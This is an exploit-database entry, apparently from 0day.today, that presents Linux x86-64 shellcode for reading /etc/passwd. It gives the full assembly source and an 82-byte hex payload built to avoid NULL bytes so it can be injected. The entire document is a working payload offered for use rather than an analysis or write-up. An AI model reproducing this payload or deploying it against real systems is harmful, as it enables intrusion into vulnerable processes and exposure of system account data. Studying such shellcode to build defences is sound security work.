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Linux/x86-64 - Read /etc/passwd Shellcode (82 bytes)
[BITS 64 ; Author Mr.Un1k0d3r - RingZer0 Team ; Read /etc/passwd Linux x86_64 Shellcode ; Shellcode size 82 bytes global _start section .text _start: jmp _push_filename _readfile: ; syscall open file pop rdi ; pop path value ; NULL byte fix xor byte [rdi + 11], 0x41 xor rax, rax add al, 2 xor rsi, rsi ; set O_RDONLY flag syscall ; syscall read file sub sp, 0xfff lea rsi, [rsp] mov rdi, rax xor rdx, rdx mov dx, 0xfff; size to read xor rax, rax syscall ; syscall write to stdout xor rdi, rdi add dil, 1 ; set stdout fd = 1 mov rdx, rax xor rax, rax add al, 1 syscall ; syscall exit xor rax, rax add al, 60 syscall _push_filename: call _readfile path: db "/etc/passwdA" Shellcode: \xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41 # 0day.today [2024-09-28] #